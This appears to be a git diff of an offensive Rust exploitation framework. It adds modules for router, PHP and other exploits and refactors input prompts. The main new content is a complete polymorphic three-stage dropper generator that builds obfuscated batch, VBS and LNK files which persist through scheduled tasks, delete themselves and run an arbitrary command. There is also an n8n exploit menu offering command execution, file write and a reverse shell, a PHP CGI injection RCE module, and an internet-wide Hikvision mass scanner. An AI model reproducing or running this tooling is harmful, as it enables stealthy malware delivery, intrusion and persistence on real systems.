let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
@@ -332,14 +349,6 @@ async fn run_mass_scan() -> Result<()> {
|
||||
custom_payload = custom_payload.trim().to_string();
|
||||
}
|
||||
let custom_payload = Arc::new(custom_payload);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
@@ -375,7 +384,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
@@ -403,7 +412,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
|
||||
@@ -492,11 +492,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}:{}", host, default_port).cyan());
|
||||
|
||||
// Interactive prompts using shared utilities
|
||||
let port = prompt_int_range("Target port", default_port as i64, 1, 65535).await? as u16;
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS?", true).await?;
|
||||
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000).await? as u64;
|
||||
let run_baseline = prompt_yes_no("Run baseline test first?", true).await?;
|
||||
let port = prompt_int_range("Target port", default_port as i64, 1, 65535)? as u16;
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS?", true)?;
|
||||
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000)? as usize;
|
||||
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000)? as u64;
|
||||
let run_baseline = prompt_yes_no("Run baseline test first?", true)?;
|
||||
|
||||
println!("\n{}", "=".repeat(60).cyan());
|
||||
println!("{}", format!("Target: {}:{}", host, port).yellow());
|
||||
@@ -511,7 +511,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Ensure you have permission to test the target system.");
|
||||
println!("Unauthorized use may be illegal.\n");
|
||||
|
||||
if !prompt_yes_no("Do you have permission to test this system?", false).await? {
|
||||
if !prompt_yes_no("Do you have permission to test this system?", false)? {
|
||||
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
@@ -33,7 +33,7 @@ use tokio::time::sleep;
|
||||
use reqwest::{Client};
|
||||
use uuid::Uuid;
|
||||
use regex::Regex;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::io::{Write, BufRead};
|
||||
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
@@ -257,16 +257,16 @@ pub async fn run(args: &str) -> Result<()> {
|
||||
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
|
||||
println!("{}", "Press Ctrl+C to exit".cyan());
|
||||
|
||||
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
|
||||
let stdin = std::io::stdin();
|
||||
let mut stdin_reader = stdin.lock();
|
||||
loop {
|
||||
print!("{}", "File to download:\n> ".green().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let mut input = String::new();
|
||||
match stdin_reader.read_line(&mut input).await {
|
||||
match stdin_reader.read_line(&mut input) {
|
||||
Ok(0) => break,
|
||||
Ok(_) => {
|
||||
let filepath = input.trim();
|
||||
|
||||
@@ -2,6 +2,7 @@ pub mod generic;
|
||||
pub mod sample_exploit;
|
||||
pub mod payloadgens;
|
||||
pub mod tplink;
|
||||
pub mod trend_micro;
|
||||
pub mod ssh;
|
||||
pub mod spotube;
|
||||
pub mod ftp;
|
||||
@@ -14,8 +15,11 @@ pub mod zte;
|
||||
pub mod ivanti;
|
||||
pub mod apache_tomcat;
|
||||
pub mod palo_alto;
|
||||
pub mod php;
|
||||
pub mod roundcube;
|
||||
pub mod ruijie;
|
||||
pub mod flowise;
|
||||
pub mod sharepoint;
|
||||
pub mod http2;
|
||||
pub mod jenkins;
|
||||
pub mod mongo;
|
||||
@@ -27,3 +31,12 @@ pub mod fortinet;
|
||||
pub mod exim;
|
||||
pub mod dos;
|
||||
pub mod dlink;
|
||||
pub mod vmware;
|
||||
pub mod telnet;
|
||||
pub mod bluetooth;
|
||||
pub mod tenda;
|
||||
pub mod reolink;
|
||||
pub mod qnap;
|
||||
pub mod netgear;
|
||||
pub mod ubiquiti;
|
||||
pub mod zyxel;
|
||||
|
||||
@@ -147,7 +147,7 @@ async fn send_probe(addr: &str, doc_len: u32, buffer_size: u32) -> Result<Vec<Ve
|
||||
response.extend_from_slice(&buf[..n]);
|
||||
|
||||
// If we got enough for header, check length and read remainder
|
||||
while response.len() < 4 || (response.len() >= 4 && response.len() < u32::from_le_bytes(response[0..4].try_into().unwrap()) as usize) {
|
||||
while response.len() < 4 || (response.len() >= 4 && response.len() < u32::from_le_bytes(response[0..4].try_into().unwrap_or([0,0,0,0])) as usize) {
|
||||
let n = stream.read(&mut buf).await?;
|
||||
if n == 0 { break; }
|
||||
response.extend_from_slice(&buf[..n]);
|
||||
|
||||
@@ -531,8 +531,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Get credentials
|
||||
println!("{}", "[*] n8n Authentication Required".cyan());
|
||||
let email = prompt_input("Email: ").await?;
|
||||
let password = prompt_input("Password: ").await?;
|
||||
let email = prompt_input("Email: ")?;
|
||||
let password = prompt_input("Password: ")?;
|
||||
|
||||
if email.is_empty() || password.is_empty() {
|
||||
return Err(anyhow!("Email and password are required"));
|
||||
@@ -555,12 +555,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" {} Reverse shell", "6.".bold());
|
||||
println!();
|
||||
|
||||
let choice = prompt_input("Select option [1-6]: ").await?;
|
||||
let choice = prompt_input("Select option [1-6]: ")?;
|
||||
|
||||
let success = match choice.as_str() {
|
||||
"1" => client.exploit_info().await?,
|
||||
"2" => {
|
||||
let cmd = prompt_input("Enter command to execute: ").await?;
|
||||
let cmd = prompt_input("Enter command to execute: ")?;
|
||||
if cmd.is_empty() {
|
||||
return Err(anyhow!("Command cannot be empty"));
|
||||
}
|
||||
@@ -568,23 +568,23 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
"3" => client.exploit_env().await?,
|
||||
"4" => {
|
||||
let filepath = prompt_input("Enter file path to read: ").await?;
|
||||
let filepath = prompt_input("Enter file path to read: ")?;
|
||||
if filepath.is_empty() {
|
||||
return Err(anyhow!("File path cannot be empty"));
|
||||
}
|
||||
client.exploit_read_file(&filepath).await?
|
||||
}
|
||||
"5" => {
|
||||
let filepath = prompt_input("Enter file path to write: ").await?;
|
||||
let content = prompt_input("Enter content to write: ").await?;
|
||||
let filepath = prompt_input("Enter file path to write: ")?;
|
||||
let content = prompt_input("Enter content to write: ")?;
|
||||
if filepath.is_empty() {
|
||||
return Err(anyhow!("File path cannot be empty"));
|
||||
}
|
||||
client.exploit_write_file(&filepath, &content).await?
|
||||
}
|
||||
"6" => {
|
||||
let lhost = prompt_input("Enter your listener IP (LHOST): ").await?;
|
||||
let lport_str = prompt_input("Enter your listener port (LPORT): ").await?;
|
||||
let lhost = prompt_input("Enter your listener IP (LHOST): ")?;
|
||||
let lport_str = prompt_input("Enter your listener port (LPORT): ")?;
|
||||
let lport: u16 = lport_str
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid port number"))?;
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod netgear_r6700v3_rce_cve_2022_27646;
|
||||
@@ -0,0 +1,90 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_port};
|
||||
|
||||
/// Netgear R6700v3 Pre-Auth RCE via Circled Daemon (CVE-2022-27646)
|
||||
///
|
||||
/// Exploits a buffer overflow in `/bin/circled` when fetching `circleinfo.txt`.
|
||||
/// This is a WAN-side pre-authentication vulnerability.
|
||||
///
|
||||
/// Based on Pwn2Own Austin 2021 exploit by Synacktiv.
|
||||
/// Target: TCP port 8888/8889/8890 (circled daemon)
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
let target_ip = normalize_target(&raw_ip)?;
|
||||
|
||||
// Circled listens on ports 8888, 8889, 8890
|
||||
let port: u16 = prompt_port("Target port (8888/8889/8890)", 8888)?;
|
||||
|
||||
let target_addr = format!("{}:{}", target_ip, port);
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), target_addr);
|
||||
println!("{} Checking if circled daemon is accessible...", "[*]".blue());
|
||||
|
||||
// Try to connect to the circled daemon
|
||||
let connect_result = tokio::time::timeout(
|
||||
Duration::from_secs(10),
|
||||
TcpStream::connect(&target_addr)
|
||||
).await;
|
||||
|
||||
match connect_result {
|
||||
Ok(Ok(mut stream)) => {
|
||||
println!("{} Connected to circled daemon!", "[+]".green());
|
||||
|
||||
// The vulnerability is triggered when circled fetches circleinfo.txt
|
||||
// from a malicious server. For detection, we check if the port is open
|
||||
// and potentially responsive.
|
||||
|
||||
// Send a probe to see if it responds
|
||||
let probe = b"GET / HTTP/1.0\r\n\r\n";
|
||||
if let Err(e) = stream.write_all(probe).await {
|
||||
println!("{} Write failed: {} (daemon may be unresponsive)", "[*]".yellow(), e);
|
||||
}
|
||||
|
||||
let mut buf = vec![0u8; 512];
|
||||
match tokio::time::timeout(Duration::from_secs(5), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
println!("{} Response: {}", "[*]".blue(), response.chars().take(100).collect::<String>());
|
||||
},
|
||||
_ => {
|
||||
println!("{} No response (expected - circled uses binary protocol)", "[*]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{} Port {} is open - circled may be running!", "[VULN]".red().bold(), port);
|
||||
println!("{} Full exploitation requires:", "[*]".cyan());
|
||||
println!(" 1. Set up a malicious web server hosting poisoned circleinfo.txt");
|
||||
println!(" 2. Perform DNS poisoning or MITM to redirect circle.meetcircle.co");
|
||||
println!(" 3. Trigger the buffer overflow via crafted circleinfo.txt");
|
||||
println!();
|
||||
println!("{} Reference: github.com/synacktiv/Netgear_Pwn2Own2021", "[*]".dimmed());
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
println!("{} Connection failed: {}", "[-]".red(), e);
|
||||
println!("{} Circled daemon may not be running or port is filtered.", "[*]".yellow());
|
||||
},
|
||||
Err(_) => {
|
||||
println!("{} Connection timed out.", "[-]".red());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Netgear R6700v3 Pre-Auth RCE (CVE-2022-27646) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -112,7 +112,7 @@ async fn check_crlf(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
|
||||
async fn check_purge(client: &Client, url: &str, findings: &mut Vec<String>) {
|
||||
let target = format!("{}/test_purge", url);
|
||||
if let Ok(resp) = client.request(reqwest::Method::from_bytes(b"PURGE").unwrap(), &target).send().await {
|
||||
if let Ok(resp) = client.request(reqwest::Method::from_bytes(b"PURGE").expect("Valid method bytes"), &target).send().await {
|
||||
if resp.status().as_u16() == 204 {
|
||||
let msg = format!("PURGE method is enabled on {}. This might allow cache poisoning/clearing.", target);
|
||||
println!("{}", format!("[!] {}", msg).red().bold());
|
||||
|
||||
@@ -28,8 +28,7 @@
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::validate_file_path;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use crate::utils::{validate_file_path, prompt_port};
|
||||
use reqwest::Client;
|
||||
use std::{
|
||||
fs::File,
|
||||
@@ -268,17 +267,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
} else {
|
||||
let (host, default_port) = parse_target(target)?;
|
||||
|
||||
let mut port_input = String::new();
|
||||
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port input")?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
|
||||
let port: u16 = prompt_port("Enter target port", default_port)?;
|
||||
|
||||
let _ = check(&host, port, &client).await?;
|
||||
}
|
||||
|
||||
@@ -5,21 +5,20 @@ use rand::{seq::SliceRandom, rng};
|
||||
use std::{
|
||||
fs,
|
||||
path::Path,
|
||||
io::Write,
|
||||
};
|
||||
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
async fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{}", prompt.cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buffer = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut buffer)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
@@ -6,7 +6,7 @@ use std::{
|
||||
io::Write,
|
||||
path::Path,
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
/// Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure (CVE-2025-50154, CVE-2025-59214)
|
||||
///
|
||||
@@ -32,14 +32,12 @@ const BANNER: &str = r#"
|
||||
|
||||
async fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{}", prompt.cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buffer = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut buffer)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
@@ -2,3 +2,4 @@ pub mod narutto_dropper;
|
||||
pub mod batgen;
|
||||
pub mod lnkgen;
|
||||
pub mod payload_encoder;
|
||||
pub mod polymorph_dropper;
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Refactored) ==
|
||||
// Supports LOLBAS (Certutil, Bitsadmin, PowerShell) and enhanced Anti-VM
|
||||
|
||||
use anyhow::Result;
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rand::{rng, seq::SliceRandom, seq::IndexedRandom, Rng};
|
||||
use std::collections::HashMap;
|
||||
use std::io::Write;
|
||||
use tokio::fs::File as TokioFile;
|
||||
use tokio::io::{AsyncWriteExt, AsyncBufReadExt};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
// ==============================================================================
|
||||
// Constants & Configuration
|
||||
@@ -80,7 +81,7 @@ impl DropperContext {
|
||||
|
||||
// Prefix with 3 random letters
|
||||
for _ in 0..3 {
|
||||
name.push(*charset.choose(&mut rng).unwrap());
|
||||
name.push(*charset.choose(&mut rng).expect("Charset empty"));
|
||||
}
|
||||
|
||||
// Add random number suffix
|
||||
@@ -241,7 +242,7 @@ fn build_stage1(
|
||||
stage3_name: &str
|
||||
) -> String {
|
||||
let batch_var = ctx.get("diag_id");
|
||||
let banner_text = BANNERS.choose(&mut rng()).unwrap();
|
||||
let banner_text = BANNERS.choose(&mut rng()).expect("Banners empty");
|
||||
let antivm = build_anti_vm(ctx);
|
||||
|
||||
// Create random decoy logic
|
||||
@@ -340,9 +341,9 @@ pub fn print_welcome_naruto() {
|
||||
async fn prompt(msg: &str, default: Option<&str>) -> Result<String> {
|
||||
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
|
||||
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
|
||||
tokio::io::stdout().flush().await?;
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let value = input.trim();
|
||||
Ok(if value.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
|
||||
@@ -0,0 +1,241 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use crate::utils::validate_file_path;
|
||||
use rand::{rng, Rng, prelude::IndexedRandom};
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
use std::fmt::Write as FmtWrite;
|
||||
|
||||
/// Polymorph 3-Stage Dropper
|
||||
///
|
||||
/// Generates a 3-stage payload chain to evade detection and persistence via Task Scheduler.
|
||||
///
|
||||
/// Flow:
|
||||
/// 1. Dropper BAT (random name) -> Writes Stage 2 BAT + Schedules it
|
||||
/// 2. Stage 2 BAT (random name) -> Writes VBS -> Creates LNK -> Schedules LNK
|
||||
/// 3. Stage 3 LNK (random name) -> Executes final command
|
||||
///
|
||||
/// Features:
|
||||
/// - Polymorphic variable names
|
||||
/// - Random filenames
|
||||
/// - Configurable delays (minutes/days)
|
||||
/// - Non-root directory usage (%PUBLIC%\Libraries usually writable)
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
println!("{}", "=== Polymorph 3-Stage Dropper ===".cyan().bold());
|
||||
println!("{}", "Generates a 3-stage payload chain using Task Scheduler for persistence/evasion.".yellow());
|
||||
|
||||
// 1. Get User Input
|
||||
let command = prompt("[+] Final Command to Execute (e.g., calc.exe, powershell ...): ").await?;
|
||||
let stage1_delay_str = prompt("[+] Stage 1 Delay (e.g., 1m, 2d): ").await?;
|
||||
let stage2_delay_str = prompt("[+] Stage 2 Delay (e.g., 5m, 1d): ").await?;
|
||||
let output_name = prompt("[+] Output Dropper Filename (e.g., dropper.bat): ").await?;
|
||||
|
||||
// Validate inputs
|
||||
validate_file_path(&output_name, true)?;
|
||||
|
||||
// Parse delays
|
||||
let delay1_mins = parse_delay(&stage1_delay_str)?;
|
||||
let delay2_mins = parse_delay(&stage2_delay_str)?;
|
||||
|
||||
// Generate Random Names
|
||||
let dropper_name = output_name.clone();
|
||||
let stage2_bat_name = format!("{}.bat", random_string(8));
|
||||
let stage3_lnk_name = format!("{}.lnk", random_string(8));
|
||||
let vbs_helper_name = format!("{}.vbs", random_string(8));
|
||||
|
||||
// Task Names
|
||||
let task1_name = format!("Update_{}", random_string(6));
|
||||
let task2_name = format!("Sync_{}", random_string(6));
|
||||
|
||||
// Polymorphic Variables for obfuscation
|
||||
let var_cmd = random_var();
|
||||
let var_p1 = random_var();
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Generating payload chain...".blue());
|
||||
println!(" Stage 1: {} (Dropper) -> Task: {}", dropper_name, task1_name);
|
||||
println!(" Stage 2: {} (Payload Gen) -> Task: {}", stage2_bat_name, task2_name);
|
||||
println!(" Stage 3: {} (LNK Trigger) -> Command: {}", stage3_lnk_name, command);
|
||||
println!(" Obfuscation vars: {}, {}", var_cmd, var_p1);
|
||||
|
||||
// --- GENERATE STAGE 2 CONTENT (The BAT that creates LNK) ---
|
||||
// This BAT will be embedded inside Stage 1
|
||||
// It needs to:
|
||||
// 1. Create a VBS script
|
||||
// 2. Run VBS to create LNK
|
||||
// 3. Schedule the LNK
|
||||
|
||||
// Escape command for BAT/VBS/LNK nesting... this is tricky.
|
||||
// LNK Target: cmd.exe
|
||||
// LNK Args: /c start "" "command" (to hide window if possible) or just /c command
|
||||
let lnk_target = "cmd.exe";
|
||||
let lnk_args = format!("/c {}", command);
|
||||
|
||||
// We write a VBS script to generate the LNK because it is more reliable than pure BAT for LNKs
|
||||
let vbs_content = format!(
|
||||
r#"Set oWS = WScript.CreateObject("WScript.Shell")
|
||||
sLinkFile = "{stage3_lnk_name}"
|
||||
Set oLink = oWS.CreateShortcut(sLinkFile)
|
||||
oLink.TargetPath = "{lnk_target}"
|
||||
oLink.Arguments = "{lnk_args}"
|
||||
oLink.WindowStyle = 7
|
||||
oLink.Save"#,
|
||||
stage3_lnk_name = stage3_lnk_name,
|
||||
lnk_target = lnk_target,
|
||||
lnk_args = lnk_args.replace("\"", "\"\"") // VBS string escaping
|
||||
);
|
||||
|
||||
// Stage 2 BAT Content
|
||||
// Be careful with escaping, this string will be echo'd by Stage 1 into a file
|
||||
let task2_cmd = format!("cmd /c start /min \"\" \"%cd%\\{}\"", stage3_lnk_name);
|
||||
|
||||
// We inject the time calculation logic into Stage 2
|
||||
let time_calc_loop = format!(
|
||||
r#"for /f "usebackq delims=" %%T in (`powershell -Command "get-date (get-date).addMinutes({}) -Format HH:mm"`) do set "FUTURE_TIME=%%T""#,
|
||||
delay2_mins
|
||||
);
|
||||
|
||||
let stage2_content_raw = format!(
|
||||
r#"@echo off
|
||||
cd /d "%~dp0"
|
||||
echo Creating shortcut helper...
|
||||
(
|
||||
{vbs_echo_lines}
|
||||
) > "{vbs_name}"
|
||||
|
||||
cscript //nologo "{vbs_name}"
|
||||
del "{vbs_name}" >nul 2>&1
|
||||
|
||||
echo Scheduling final trigger...
|
||||
{time_calc_loop}
|
||||
schtasks /create /sc ONCE /st %FUTURE_TIME% /tn "{task_name}" /tr "{task_cmd}" /f >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [!] Task creation failed. Admin rights might be needed or schedule time invalid.
|
||||
echo [*] Fallback: Executing LNK immediately...
|
||||
start "" "{lnk_name}"
|
||||
)
|
||||
del "%~f0" >nul 2>&1
|
||||
"#,
|
||||
vbs_echo_lines = vbs_content.lines().map(|l| format!("echo {}", l)).collect::<Vec<_>>().join("\n"),
|
||||
vbs_name = vbs_helper_name,
|
||||
time_calc_loop = time_calc_loop,
|
||||
task_name = task2_name,
|
||||
task_cmd = task2_cmd, // The command the task executes (run the LNK)
|
||||
lnk_name = stage3_lnk_name
|
||||
);
|
||||
|
||||
|
||||
// --- GENERATE STAGE 1 CONTENT (The Dropper) ---
|
||||
// Writes Stage 2 to a hidden/writable directory and schedules it.
|
||||
// Target Dir: %PUBLIC%\Libraries (often writable and less checked than Temp)
|
||||
let target_dir = "%PUBLIC%\\Libraries";
|
||||
|
||||
// Escaping Stage 2 content to be echo'd by Stage 1
|
||||
// We need to escape special BAT chars like %, >, <, |, &
|
||||
let stage2_escaped = escape_bat_echo(&stage2_content_raw);
|
||||
|
||||
let stage1_content = format!(
|
||||
r#"@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
:: Polymorphic Junk
|
||||
{junk_comments}
|
||||
set "{v_dir}={target_dir}"
|
||||
if not exist "!{v_dir}!" mkdir "!{v_dir}!"
|
||||
cd /d "!{v_dir}!"
|
||||
|
||||
echo [*] Dropping Stage 2...
|
||||
(
|
||||
{stage2_lines}
|
||||
) > "{stage2_file}"
|
||||
|
||||
echo [*] Scheduling Stage 2...
|
||||
:: Calculate time {delay1} mins in future using PowerShell
|
||||
for /f "usebackq delims=" %%T in (`powershell -Command "get-date (get-date).addMinutes({delay1}) -Format HH:mm"`) do set "FUTURE_TIME=%%T"
|
||||
|
||||
schtasks /create /sc ONCE /st !FUTURE_TIME! /tn "{task1_name}" /tr "cmd /c start /min \"\" \"!{v_dir}!\{stage2_file}\"" /f
|
||||
|
||||
echo [+] Dropper complete. Payload chain initiated.
|
||||
timeout /t 3 >nul
|
||||
del "%~f0" >nul 2>&1
|
||||
"#,
|
||||
junk_comments = generate_junk_comments(),
|
||||
v_dir = random_var(), // Polymorphic variable for dir
|
||||
target_dir = target_dir,
|
||||
stage2_lines = stage2_escaped,
|
||||
stage2_file = stage2_bat_name,
|
||||
delay1 = delay1_mins,
|
||||
task1_name = task1_name
|
||||
);
|
||||
|
||||
// Write Dropper
|
||||
fs::write(&dropper_name, stage1_content)
|
||||
.with_context(|| format!("Failed to write dropper to {}", dropper_name))?;
|
||||
|
||||
println!("{}", format!("[+] Dropper written to: {}", dropper_name).green().bold());
|
||||
println!("[*] Transfer this file to the target Windows machine.");
|
||||
println!("[*] Note: The payload relies on 'schtasks' and 'powershell' (for time calc) being available.");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Helpers
|
||||
|
||||
async fn prompt(text: &str) -> Result<String> {
|
||||
print!("{}", text.cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
std::io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_string())
|
||||
}
|
||||
|
||||
fn parse_delay(input: &str) -> Result<u32> {
|
||||
let lower = input.to_lowercase();
|
||||
if let Some(mins) = lower.strip_suffix('m') {
|
||||
mins.parse().context("Invalid minutes format")
|
||||
} else if let Some(days) = lower.strip_suffix('d') {
|
||||
let d: u32 = days.parse().context("Invalid days format")?;
|
||||
Ok(d * 1440)
|
||||
} else {
|
||||
// Default to minutes if no suffix
|
||||
input.parse().context("Invalid delay format (use '10m' or '2d')")
|
||||
}
|
||||
}
|
||||
|
||||
fn random_string(len: usize) -> String {
|
||||
let charset = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
let mut rng = rng();
|
||||
(0..len).map(|_| *charset.choose(&mut rng).unwrap() as char).collect()
|
||||
}
|
||||
|
||||
fn random_var() -> String {
|
||||
let charset = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
let mut rng = rng();
|
||||
let len = rng.random_range(4..8);
|
||||
(0..len).map(|_| *charset.choose(&mut rng).unwrap() as char).collect()
|
||||
}
|
||||
|
||||
fn generate_junk_comments() -> String {
|
||||
let mut rng = rng();
|
||||
let count = rng.random_range(3..7);
|
||||
let mut s = String::new();
|
||||
for _ in 0..count {
|
||||
writeln!(s, ":: {}", random_string(20)).unwrap();
|
||||
}
|
||||
s
|
||||
}
|
||||
|
||||
fn escape_bat_echo(content: &str) -> String {
|
||||
content.lines().map(|line| {
|
||||
// Escape special chars for echo
|
||||
let escaped = line.replace("%", "%%")
|
||||
.replace("^", "^^")
|
||||
.replace("&", "^&")
|
||||
.replace("<", "^<")
|
||||
.replace(">", "^>")
|
||||
.replace("|", "^|")
|
||||
.replace("(", "^(")
|
||||
.replace(")", "^)");
|
||||
format!("echo {}", escaped)
|
||||
}).collect::<Vec<_>>().join("\n")
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
// use crate::utils::{normalize_target, prompt_yes_no}; // standard utils if available, mimicking other modules
|
||||
|
||||
/// PHP CGI Argument Injection (CVE-2024-4577)
|
||||
/// Exploit for PHP running on Windows via XAMPP or similar setups.
|
||||
///
|
||||
/// Credits:
|
||||
/// - Discovered by Orange Tsai
|
||||
/// - PoC logic based on watchTowr Labs
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Normalize target
|
||||
let url = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
let url = url.trim_end_matches('/');
|
||||
|
||||
println!("[*] Target: {}", url.cyan());
|
||||
|
||||
// Prompt for check or exploit
|
||||
println!();
|
||||
println!("{}", "[*] Select operation mode:".cyan());
|
||||
println!(" 1. Check vulnerability (safe)");
|
||||
println!(" 2. Execute command (RCE)");
|
||||
println!();
|
||||
|
||||
print!("{}", "Select option [1-2]: ".green());
|
||||
use std::io::Write;
|
||||
std::io::stdout().flush()?;
|
||||
let mut choice = String::new();
|
||||
std::io::stdin().read_line(&mut choice)?;
